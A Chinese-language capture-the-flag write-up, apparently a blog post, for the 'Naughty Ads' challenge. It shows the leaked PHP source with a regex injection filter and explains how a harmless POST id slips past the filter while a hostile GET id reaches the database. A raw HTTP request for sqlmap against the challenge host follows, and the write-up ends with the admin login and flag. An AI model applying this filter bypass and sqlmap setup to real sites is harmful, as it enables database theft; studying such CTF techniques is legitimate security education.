扫描器扫到robots.txt ,访问:http://xxx.com/robots.txt

有一个admin,但访问需要输入账号和密码。

尝试访问: http://xxx.com/index.phps 。得到源代码如下:

<?php
require_once 'lib.php';
header('X-XSS-Protection: 0');
$cols = array(
"e8c4-437b-9476",
"849e-416e-acf7",
"7f9d-470f-8698",
"c8bb-4695-93f7",
"5fbc-4729-8821",
"3ad3-46c3-b975",
"f44f-4cc9-a5e0",
"0c3f-42c8-a0ae"
);
if(isset($_REQUEST['id'])){
if(preg_match("/'(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['id'])){
die("Attack detected!!!");
}
$ad = get_ad($_GET['id']);
?>
<HTML>
<HEAD>
<TITLE>NAUGHTY ADS ©1994</TITLE>
</HEAD>
<BODY BGCOLOR="WHITE">
<CENTER>
<?php echo $ad['description'] ?><br />
<a href="/">Home</a>
</CENTER>
</BODY>
</HTML>
<?php
die;
}
?>

  

对于 REQUEST[‘id′],进行了“严格”的正则匹配,不能正常的注出数据。接下来通过REQUEST[‘id′],进行了“严格”的正则匹配,不能正常的注出数据。接下来通过_GET[‘id’] 将其带入数据库中查询并返回结果给页面。

这里考察了一个知识。$_REQUEST变量默认情况下包含了 GET,GET,_POST 和 $_COOKIE 的数组。在 php.ini 配置文件中,有一个参数variables_order

其中几个字母(EGPCS)对应如下: Environment, Get, Post, Cookie, Server。这些字母的出现顺序,表明了数据的加载顺序。从三种默认配置来看,相对顺序均是GP,也就是说只要有POST参数进来,那么它就会覆盖同名的GET参数。如下图;

所以就本题而言,如果在GET参数id处注入数据(比如 union select),而同时我们又通过POST方法传入一个id参数,那么服务器检测的是无害的POST数据,而在进行查询时带入的是有害的GET数据。

将如下数据包保存为test.txt,用sqlmap跑:

POST /?id=* HTTP/1.1
Host: naughtyads.alieni.se
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
id= 0c3f-42c8-a0ae

  

得到账号密码,登陆 http://xxxx.com/admin/ 在Phone number处填上555-31338,提交后得到flag:

最新文章

  1. C# Interface的使用方法探讨
  2. Java进阶(五)Java I/O模型从BIO到NIO和Reactor模式
  3. 【C#】Excel舍入函数Round、RoundUp、RoundDown的C#版
  4. perl Can&#39;t use string Cxxx) as a symbol ref while &quot;strict refs&quot; in use at XXXX.pl错误
  5. Mysql的“Limit”操作
  6. for_each()的返回值
  7. Linux shell实现Mysql异地备份数据库
  8. 用Windows Live Writer发来
  9. 控制GridView中字段的长度,规范数据
  10. Citrix 服务器虚拟化之二 Xenserver加域管理
  11. thinkphp的model模型的设计经验总结
  12. 各平台操作系统查询主机WWPN
  13. opencv人脸检测,旋转处理
  14. Spring MVC注解配置
  15. R8500 MPv2 版本 刷 Kong编译的 ddwrt 后,使用Entware-ng 安装opkg安装第三方软件
  16. embedding与word2vec
  17. 报错:Missing type map configuration or unsupported mapping
  18. http to https
  19. mysql 8 windows 版本zip方式安装步骤
  20. Truncate有外键约束的表

热门文章

  1. SpringBoot2 配置
  2. 使用wget命令爬取整站
  3. c setjmp longjmp
  4. POJ 2442(优先队列 k路归并 堆)
  5. axios请求拦截及请求超时重新请求设置
  6. Python小白学习之路(二十六)—【if __name__ ==&#39;__main__&#39;:】【用状态标识操作】
  7. 匿名类、包、权限修饰符_DAY10
  8. 利用matlab求图像均值和方差的几种方法
  9. Android返回系统Home桌面
  10. Jenkins-pipeline的实现步骤